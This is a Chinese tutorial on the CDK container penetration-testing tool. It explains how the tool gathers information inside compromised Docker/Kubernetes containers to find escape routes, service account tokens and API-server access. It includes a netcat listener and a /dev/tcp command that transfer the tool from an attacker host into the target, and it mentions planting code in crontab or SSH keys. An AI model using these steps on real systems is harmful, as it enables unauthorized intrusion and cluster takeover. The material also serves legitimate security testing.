前言
CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
项目地址:https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
CDK功能介绍
CDK包括三个功能模块:
- Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
- Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
- Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
将CDK投递到目标容器中的技巧
容器环境往往比较简单,很多情况下没有wget
、curl
、nc
等命令。我们可以使用以下方法将CDK投递到目标容器。
# 远程vps
nc -lvp 999 < cdk
# 目标容器
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
快速使用
# 在容器内部进行信息搜集,寻找可用的逃逸点
cdk evaluate
# --full参数,包含本地文件扫描功能
cdk evaluate --full
evaluate 容器信息搜集
1. 本地信息 - OS基本信息
直接获取容器内的用户、内核、OS信息。
运行使用时第一步获取的就是OS的基本信息:
cdk evaluate
结果显示如下:
2. 本地信息 - 可用的Linux命令和Capabilities(探测特权容器)
检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为特权容器,某些敏感的capabilities如CAP_SYSADMIN
, CAP_NETADMIN
, CAP_PTRACE
等也可用来进行容器逃逸。
cdk evaluate
如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
3. 本地信息 - 容器挂载情况
检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入/etc/crontab
或/root/.ssh/authorized_keys
。
cdk evaluate
利用:Procfs目录挂载逃逸
https://github.com/cdk-team/CDK/wiki/Exploit:-mount-procfs
后续会详细介绍该漏洞利用情况。
4. 本地信息 - 网络namespace隔离情况
判断容器是否与宿主机共享Net Namespace, 如果docker以--net=host
启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。
cdk evaluate
利用:containerd-shim CVE-2020-15257
https://github.com/cdk-team/CDK/wiki/Exploit:-shim-pwn
后续会详细介绍该漏洞利用情况。
5. 本地信息 - 容器环境变量和敏感进程服务
从ENV
和进程信息
中提取容器内的敏感服务,如python
,ssh
等,便于部署后续逃逸/持久化攻击。
cdk evaluate
6. 本地信息 - 敏感目录及文件
进行全盘路径扫描,在路径中匹配敏感词来识别敏感文件,识别到的敏感文件如 docker.sock, .git, .kube 等将对后续渗透带来帮助。
cdk evaluate --full
如果识别到docker.sock
文件,可以尝试使用./cdk run docker-sock-check <sock-path>
来检查API是否可用,具体参考:https://github.com/cdk-team/CDK/wiki/Exploit:-docker-sock-check
7. 本地信息 - kube-proxy边界绕过(CVE-2020-8558) net.ipv4.conf.all.route_localnet
利用该漏洞(CVE-2020-8558),可以访问当前K8S节点或其他节点(node)上所监听的Localhost端口
POC:https://github.com/tabbysable/POC-2020-8558
./cdk evaluate
...
[Information Gathering - Sysctl Variables]
2021/01/20 16:07:02 net.ipv4.conf.all.route_localnet = 1
2021/01/20 16:07:02 You may be able to access the localhost service of the current container node or other nodes.
2021/01/20 16:07:02 CVE-2020-8558: The Kubelet and kube-proxy components in versions 1.1.0-1.16.10, 1.17.0-1.17.6, and 1.18.0-1.18.3 were found to contain a security issue which allows adjacent hosts to reach TCP and UDP services bound to 127.0.0.1 running on the node or in the node's network namespace. Node setting allows for neighboring hosts to bypass localhost boundary.
...
如下图,运行在本节点上或节点所在的网络namespace中的localhost服务:
可以通过其他网卡访问。
8. 网络探测 - 获取K8s API-Server 信息
检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。
cdk evaluate
9. 网络探测 - K8s Service Account 的认证凭据
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token
),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account管理K8s集群。
cdk evaluate
10. 网络探测 - 云厂商内置metadata api
探测云厂商内置的metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在metadata中自定义的信息。
cdk evaluate
阿里云的ECS实例云数据概述: